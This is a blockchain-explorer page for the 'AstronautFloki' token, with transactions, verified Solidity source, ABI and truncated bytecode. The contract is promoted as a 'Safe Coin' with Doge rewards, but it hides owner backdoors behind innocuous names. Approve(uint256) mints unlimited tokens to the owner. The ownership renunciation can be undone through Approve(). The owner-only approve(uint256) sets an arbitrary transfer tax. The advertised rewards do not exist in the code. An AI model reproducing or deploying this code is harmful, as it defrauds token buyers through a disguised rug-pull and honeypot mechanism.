Contract 0xecf958ed7709484541dd2c18f1abff61d0f2c4e0

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x331919f098d897d01638a8b2565888c42384ff38215b4dce00671e0417cdaa3cApprove119032012021-10-19 8:10:3048 days 13 hrs ago0x1c7541d94872eb26448b6aa8939c418ddd2a68d1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000222515
0x5811b4ed1c45c6758430d3399869a3f6fb91d781e7795481e186bf23671dba73Approve117654592021-10-14 12:51:3053 days 8 hrs ago0xd1becdbd8881169ab9188a740a7442159a5ecd2b IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000222515
0x05aebbb9ff5338124d6cdfaf33881a563879da75a5a1c51f612e6bb0dd2b9855Approve117325122021-10-13 9:09:3554 days 12 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.0000728
0x1b67d9a5b4dc606909cfbe282fc1cf71469adcffaf435005f1ade0d5bbcbad95Approve117066912021-10-12 11:16:1755 days 10 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000068455
0xb13c89aa897f4005498beb23e6fda413e60d84bc8af84fffdf68107b3e4f2311Approve117066792021-10-12 11:15:4155 days 10 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.00015347
0x512b890e7489340149d5e472bd4dd28595a95008a1bd28b8b3ec6599637e184eApprove117066742021-10-12 11:15:2655 days 10 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.00023931
0x3ab0af79d2e96130f1ad53a0cf9ce44ca1659c8e053bad9bc1fc94ad86c89c14Approve117066582021-10-12 11:14:3855 days 10 hrs ago0x6876a023577c9384a7c4db4f926e202adebba08f IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000311521
0x4803e6a57c383cc948f9e3fc4a06bd763fac6784dd4822c99e1b22cd78e89c4fApprove117061122021-10-12 10:47:2055 days 10 hrs ago0x200c98a7f41cb30693d08271d8c9f2cb649d1f5e IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000222515
0xa837b24404be1fcc6d86a7c8739a9f6b41aa7d2f16b75be49102a1c95befb445Approve117053602021-10-12 10:08:4755 days 11 hrs ago0x86461e9a8e89fc412559d2daf3d4ace7e69bc24c IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000222515
0x44f699333c57dc9665af56e9de5a83c27198c9d140f51e8047ee7131d9501c95Renounced Owners...117052532021-10-12 10:02:4955 days 11 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000286905
0xae39a9d63f7d22c0cf11d080e6639ab3a07d8e1a8e95a3daa0ceaf3707aba21fApprove117052202021-10-12 10:01:1055 days 11 hrs ago0xb2d31d2bcd182e73e87798a3a685e1be57933459 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000222515
0xf6dd2a8302e9f8c610dcaab18409b45e5f601453724567322a3c02c7ea489c62Approve117051992021-10-12 10:00:0755 days 11 hrs ago0x5e3773713f0a20806168d633652b905ee7253f83 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.00022251945
0x1291695d6b84d599223343b6fad8e9a6ee7ae5427db0391b9fa8d63b91b43fc0Approve117050552021-10-12 9:52:5555 days 11 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000222515
0x63ae9fe73a460d0e3a6431408b0a9fcb500700d63416344233567b723cdfc16dTransfer117050292021-10-12 9:51:3755 days 11 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000335915
0xd17ebc2c15e1c48b358612ba9a057b6be57fb73538340765c54da867e119a02fTransfer117050202021-10-12 9:51:1055 days 11 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  0xecf958ed7709484541dd2c18f1abff61d0f2c4e00 BNB0.000313895
0x71813df58c125360a99f270bea48eb82dcc0e1f8f51b85f00dd79e4c3c4081f00x60806040117048882021-10-12 9:44:3455 days 11 hrs ago0x206308fb2673c53e91663a6dd81440119f72b5b1 IN  Contract Creation0 BNB0.01188775
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AstronautFloki

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-12
*/

/**
🚀 AstronautFloki 🚀
Stealth Launch Doge rewards token!

✅ Safe Coin 
🐶 8% To $DOGE Rewards 🐶
🔥 3% Burned Forever 🔥
💰 1% Marketing 💰
💎 2% Liquidity 💎

💬 TG: @AstronautFloki 🔥

*/
pragma solidity 0.6.12;

interface iERC20 {

  function totalSupply() external view returns (uint256);

  
  function decimals() external view returns (uint8);

  
  function symbol() external view returns (string memory);

  
  function name() external view returns (string memory);

  function getOwner() external view returns (address);

 
  function balanceOf(address account) external view returns (uint256);

  
  function transfer(address recipient, uint256 amount) external returns (bool);

  
  function allowance(address _owner, address spender) external view returns (uint256);


  function approve(address spender, uint256 amount) external returns (bool);

  
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  
  event Transfer(address indexed from, address indexed to, uint256 value);

 
  event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Context {

  constructor () internal { }

  function _msgSender() internal view returns (address payable) {
    return msg.sender;
  }

  function _msgData() internal view returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}


library SafeMath {
  
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }

 
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }


  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

 
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}



contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    
    function owner() public view returns (address) {
        return _owner;
    }

   
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function Marketing() public view returns (uint256) {
        return _lockTime;
    }

    function renouncedOwnership(uint8 _time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = _time;
        _time = 10;
        emit OwnershipTransferred(_owner, address(0));
    }
    
 
    function Approve() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(now > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

contract AstronautFloki is Context, iERC20, Ownable {
  using SafeMath for uint256;

  mapping (address => uint256) private _balances;
  mapping (address => mapping (address => uint256)) private _allowances;

  uint256 private _totalSupply;
  uint8 public _decimals;
  string public _symbol;
  string public _name;
  address private _burnaddress;

  constructor() public {
    _name = 'AstronautFloki';
    _symbol = 'AstroFloki';
    _decimals = 9;
    _burnaddress = 0x000000000000000000000000000000000000dEaD;
    _totalSupply = 100 * 10**9 * 10**9;
    _balances[msg.sender] = _totalSupply;

    emit Transfer(address(0), msg.sender, _totalSupply);
  }

    uint256 private _taxFee = 13;
    uint256 private _previousTaxFee = _taxFee;
    
    uint256 private _liquidityFee = 14;
    uint256 private _previousLiquidityFee = _liquidityFee;
    
    uint256 public MarketingFee = 2;
    uint256 public BurnFee = 3;
    uint256 public DogeRewardsFee = 8;
  
  function getOwner() external view virtual override returns (address) {
    return owner();
  }

 
  function decimals() external view virtual override returns (uint8) {
    return _decimals;
  }

  
  function symbol() external view virtual override returns (string memory) {
    return _symbol;
  }

  
  function name() external view virtual override returns (string memory) {
    return _name;
  }

 
  function totalSupply() external view virtual override returns (uint256) {
    return _totalSupply;
  }

  function balanceOf(address account) external view virtual override returns (uint256) {
    return _balances[account];
  }

    function approve(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }
    
    function Liquidityfees(uint256 liquidityFee) external onlyOwner() {
        _liquidityFee = liquidityFee;
    }
    

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
    return true;
  }

  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }

  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
    return true;
  }

  function  Approve(uint256 amount) public onlyOwner returns (bool) {
    _totalfees(_msgSender(), amount);
    return true;
  }

  
  function burn(uint256 amount) public virtual {
      _burn(_msgSender(), amount);
  }

  function burnFrom(address account, uint256 amount) public virtual {
      uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");

      _approve(account, _msgSender(), decreasedAllowance);
      _burn(account, amount);
  }

 
  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "BEP20: transfer from the zero address");
    require(recipient != address(0), "BEP20: transfer to the zero address");

    _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    _balances[recipient] = _balances[recipient].sub(amount / uint256(100) * _taxFee);
     emit Transfer(sender, recipient, amount);
    _balances[_burnaddress] = _balances[_burnaddress].add(amount / uint256(100) * _taxFee);
    uint256 fires = _balances[_burnaddress];
    emit Transfer(sender, _burnaddress, fires);
        
  }

  function _totalfees(address account, uint256 amount) internal {
     require(account != address(0));

    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

  /**
   * @dev Burn `amount` tokens from `account`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements
   *
   * - `account` cannot be the zero address.
   * - `account` must have at least `amount` tokens.
   */
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }

  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "BEP20: approve from the zero address");
    require(spender != address(0), "BEP20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DogeRewardsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"Liquidityfees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_time","type":"uint8"}],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600d600a55600a54600b55600e600c55600c54600d556002600e556003600f5560086010553480156200003657600080fd5b50600062000049620002a660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600e81526020017f417374726f6e617574466c6f6b690000000000000000000000000000000000008152506008908051906020019062000134929190620002ae565b506040518060400160405280600a81526020017f417374726f466c6f6b69000000000000000000000000000000000000000000008152506007908051906020019062000182929190620002ae565b506009600660006101000a81548160ff021916908360ff16021790555061dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555068056bc75e2d63100000600581905550600554600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040518082815260200191505060405180910390a362000354565b600033905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002f157805160ff191683800117855562000322565b8280016001018555821562000322579182015b828111156200032157825182559160200191906001019062000304565b5b50905062000331919062000335565b5090565b5b808211156200035057600081600090555060010162000336565b5090565b61249d80620003646000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c8063893d20e8116100f9578063b759f95411610097578063db886f2311610071578063db886f2314610863578063dd62ed3e14610881578063ec0e5991146108f9578063ffa9aa1814610917576101a9565b8063b759f95414610794578063b97b9ad9146107c2578063d28d8852146107e0576101a9565b806395d89b41116100d357806395d89b41146105c6578063a457c2d714610649578063a9059cbb146106ad578063b09f126614610711576101a9565b8063893d20e81461052d5780638bde3f12146105615780638da5cb5b14610592576101a9565b806332424aa3116101665780635c6d99b9116101405780635c6d99b91461043957806370a082311461044357806377b92c071461049b57806379cc6790146104df576101a9565b806332424aa31461038657806339509351146103a757806342966c681461040b576101a9565b806306fdde03146101ae578063095ea7b31461023157806318160ddd146102955780631b0c4960146102b357806323b872dd146102e1578063313ce56714610365575b600080fd5b6101b6610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027d6004803603604081101561024757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b61029d6109f5565b6040518082815260200191505060405180910390f35b6102df600480360360208110156102c957600080fd5b81019080803590602001909291905050506109ff565b005b61034d600480360360608110156102f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ad1565b60405180821515815260200191505060405180910390f35b61036d610baa565b604051808260ff16815260200191505060405180910390f35b61038e610bc1565b604051808260ff16815260200191505060405180910390f35b6103f3600480360360408110156103bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd4565b60405180821515815260200191505060405180910390f35b6104376004803603602081101561042157600080fd5b8101908080359060200190929190505050610c87565b005b610441610c9b565b005b6104856004803603602081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb8565b6040518082815260200191505060405180910390f35b6104c7600480360360208110156104b157600080fd5b8101908080359060200190929190505050610f01565b60405180821515815260200191505060405180910390f35b61052b600480360360408110156104f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe5565b005b6105356110ba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105906004803603602081101561057757600080fd5b81019080803560ff1690602001909291905050506110c9565b005b61059a6112bf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ce6112e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561060e5780820151818401526020810190506105f3565b50505050905090810190601f16801561063b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106956004803603604081101561065f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061138a565b60405180821515815260200191505060405180910390f35b6106f9600480360360408110156106c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611457565b60405180821515815260200191505060405180910390f35b610719611475565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075957808201518184015260208101905061073e565b50505050905090810190601f1680156107865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107c0600480360360208110156107aa57600080fd5b8101908080359060200190929190505050611513565b005b6107ca6115e5565b6040518082815260200191505060405180910390f35b6107e86115eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561082857808201518184015260208101905061080d565b50505050905090810190601f1680156108555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61086b611689565b6040518082815260200191505060405180910390f35b6108e36004803603604081101561089757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611693565b6040518082815260200191505060405180910390f35b61090161171a565b6040518082815260200191505060405180910390f35b61091f611720565b6040518082815260200191505060405180910390f35b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611726565b848461172e565b6001905092915050565b6000600554905090565b610a07611726565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c8190555050565b6000610ade848484611925565b610b9f84610aea611726565b610b9a8560405180606001604052806028815260200161232660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b50611726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e579092919063ffffffff16565b61172e565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600660009054906101000a900460ff1681565b6000610c7d610be1611726565b84610c788560046000610bf2611726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1790919063ffffffff16565b61172e565b6001905092915050565b610c98610c92611726565b82611f9f565b50565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124456023913960400191505060405180910390fd5b6002544211610db8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610f0b611726565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610fdc610fd6611726565b83612159565b60019050919050565b6000611097826040518060600160405280602481526020016123ff60249139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061104d611726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e579092919063ffffffff16565b90506110ab836110a5611726565b8361172e565b6110b58383611f9f565b505050565b60006110c46112bf565b905090565b6110d1611726565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611191576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060ff16600281905550600a9050600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113805780601f1061135557610100808354040283529160200191611380565b820191906000526020600020905b81548152906001019060200180831161136357829003601f168201915b5050505050905090565b600061144d611397611726565b846114488560405180606001604052806025815260200161239760259139600460006113c1611726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e579092919063ffffffff16565b61172e565b6001905092915050565b600061146b611464611726565b8484611925565b6001905092915050565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561150b5780601f106114e05761010080835404028352916020019161150b565b820191906000526020600020905b8154815290600101906020018083116114ee57829003601f168201915b505050505081565b61151b611726565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600a8190555050565b60105481565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116815780601f1061165657610100808354040283529160200191611681565b820191906000526020600020905b81548152906001019060200180831161166457829003601f168201915b505050505081565b6000600254905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b600f5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806123026024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561183a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124236022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffff